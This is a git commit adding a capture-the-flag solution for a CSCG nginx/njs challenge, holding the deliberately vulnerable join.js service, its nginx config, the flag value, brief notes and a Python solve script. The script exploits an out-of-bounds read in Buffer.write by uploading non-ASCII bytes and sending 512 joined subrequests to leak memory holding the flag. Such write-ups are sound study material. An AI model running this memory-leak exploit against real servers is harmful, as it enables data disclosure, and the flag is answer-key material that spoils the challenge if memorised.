commit c78ddbb193433e3e36095c061690ee6c3aa715fe
parent ad4e7506e3c43bdb9e8965e8f343007972e2be7e
Author: Louis Burda <quent.burda@gmail.com>
Date: Sun, 14 Apr 2024 19:00:21 +0200
Add solution
Diffstat:
8 files changed, 221 insertions(+), 0 deletions(-)
diff --git a/solve/Dockerfile b/solve/Dockerfile
@@ -0,0 +1,11 @@
+FROM nginx:1.24.0
+
+RUN mkdir /etc/nginx/http
+
+COPY ./nginx.conf /etc/nginx/nginx.conf
+COPY ./join.js /etc/nginx/http
+COPY ./index.html /usr/share/nginx/html/index.html
+
+EXPOSE 1024
+
+CMD ["nginx", "-g", "daemon off;"]
+\ No newline at end of file
diff --git a/solve/docker-compose.yml b/solve/docker-compose.yml
@@ -0,0 +1,6 @@
+services:
+ service:
+ build:
+ context: .
+ ports:
+ - "1024:1024"
diff --git a/solve/flag b/solve/flag
@@ -0,0 +1 @@
+CSCG{Ju5t_4n_0rd1n4ry_Bu6}
diff --git a/solve/index.html b/solve/index.html
@@ -0,0 +1,55 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+ <meta charset="UTF-8">
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
+ <title>Nimble Join Service</title>
+ <style>
+ body {
+ font-family: Arial, sans-serif;
+ line-height: 1.6;
+ margin: 0 auto;
+ max-width: 800px;
+ padding: 20px;
+ background-color: #333;
+ color: #eee;
+ }
+ h1 {
+ color: #fff;
+ }
+ h2 {
+ color: #ccc;
+ }
+ p {
+ color: #ddd;
+ }
+ code {
+ background-color: #555;
+ color: #eee;
+ border: 1px solid #666;
+ border-radius: 4px;
+ padding: 2px 6px;
+ }
+ a {
+ color: #007bff;
+ text-decoration: none;
+ }
+ a:hover {
+ text-decoration: underline;
+ }
+ </style>
+</head>
+<body>
+ <h1>Nimble Join Service</h1>
+ <p>This service allows you to upload files via POST. You can join your uploaded files into a single one by using the <a href="/join">join service</a>!</p>
+
+ <h2>Upload</h2>
+ <p>Simply POST your data to <a href="/upload"><code>/upload</code></a>.</p>
+
+ <h2>List/Download</h2>
+ <p>To list all uploaded files, visit <a href="/data/"><code>/data/</code></a>.</p>
+
+ <h2>Join</h2>
+ <p>Combine your files using <a href="/join"><code>/join</code></a>. You can download files as either string or binary data.</p>
+</body>
+</html>
diff --git a/solve/join.js b/solve/join.js
@@ -0,0 +1,60 @@
+var flag = "CSCG{This_is_a_fake_flag!}";
+
+// Combines several responses asynchronously into a singel reply
+async function join(r) {
+ if (r.method !== "POST") {
+ r.return(401, "Unsupported method\n");
+ return;
+ }
+
+ let body = JSON.parse((r.requestText));
+
+ if (!body['endpoints']) {
+ r.return(400, "Missing Parameters!");
+ return;
+ }
+
+ // Make sure to prevent LFI since directory root does not apply to subrequests...
+ let subs = body.endpoints.filter(sub => (typeof sub === "string" && !sub.includes(".")));
+ if (subs.length === 0) {
+ r.return(400, "No valid endpoint supplied!");
+ return;
+ }
+
+ let response = await join_subrequests(r, subs);
+
+ var ascii_error = "Error: No ASCII data!";
+
+ // Using alloc() instead of allocUnsafe() to ensure no sensitive data is leaked!
+ let reply_buffer = Buffer.alloc(response.length);
+
+ if ( r.headersIn["Accept"] === "text/html; charset=utf-8" ) {
+ // Remove non ASCII character
+ let ascii_string = response.replace(/[^\x00-\x7F]/g, "");
+
+ if ( ascii_string.length == 0 ) {
+ // Joined response does not contain any ASCII data...
+ reply_buffer.write(ascii_error);
+ } else {
+ reply_buffer.write(ascii_string);
+ }
+
+ // Return response as string
+ r.return(200, reply_buffer.toString());
+ } else {
+ reply_buffer.write(response);
+
+ // Return response as buffer
+ r.return(200, reply_buffer);
+ }
+}
+
+async function join_subrequests(r, subs) {
+
+ let results = await Promise.all(subs.map(uri => r.subrequest("/data/" + uri)));
+ let response = results.map(reply => (reply.responseText)).join("");
+
+ return response;
+}
+
+export default { join };
diff --git a/solve/nginx.conf b/solve/nginx.conf
@@ -0,0 +1,63 @@
+worker_processes 1;
+
+# Import njs module
+# https://nginx.org/en/docs/njs/
+load_module modules/ngx_http_js_module.so;
+
+events {
+ worker_connections 1024;
+}
+
+
+http {
+ # Import custom njs script
+ # Allows to join files together
+ js_path "/etc/nginx/http/";
+ js_import main from join.js;
+
+ root /usr/share/nginx/html/;
+
+ server {
+ listen 1024;
+
+ # Serve index
+ location / {
+ }
+
+ # Nginx direct file upload using client_body_in_file_only
+ # https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_in_file_only
+ location /upload {
+ limit_except POST { deny all; }
+ client_body_temp_path /usr/share/nginx/html/data;
+ client_body_in_file_only on;
+ client_body_buffer_size 128K;
+ client_max_body_size 50M;
+ proxy_pass_request_headers on;
+ proxy_set_body $request_body_file;
+ proxy_pass http://localhost:8080/upload;
+ proxy_redirect off;
+ }
+
+ # Allows to join multiple files
+ # Either returns a string or binary data
+ location /join {
+ js_content main.join;
+ }
+
+ # List all uploaded files
+ location /data {
+ autoindex on;
+ }
+
+ }
+
+ # Backend server
+ server {
+ server_name localhost;
+ listen 8080;
+
+ location /upload {
+ return 200 "File uploaded";
+ }
+ }
+}
diff --git a/solve/notes b/solve/notes
@@ -0,0 +1,4 @@
+Buffer.write does not check wether the value being written has an adequate size..
+We can read OOB relative to the request.response..
+We generate multiple subrequests to increase the chances of hitting an
+address close to the flag variable.
diff --git a/solve/solve b/solve/solve
@@ -0,0 +1,20 @@
+#!/usr/bin/env python3
+
+import requests
+import re
+import sys
+
+session = sys.argv[1]
+baseurl = f"https://{session}-1024-njs.challenge.cscg.live:1337"
+
+r = requests.post(f"{baseurl}/upload", data=b"\xff" * 1024 * 4)
+print(r.text)
+
+r = requests.get(f"{baseurl}/data/")
+#print(r.text)
+filename = [l for l in r.text.split("\n") if "<a href" in l][-1].split("\"")[1]
+
+r = requests.post(f"{baseurl}/join", json={"endpoints": [filename] * 512},
+ headers={"Accept":"text/html; charset=utf-8"})
+if b"CSCG" in r.content:
+ print(re.findall(b"CSCG{.*}", r.content))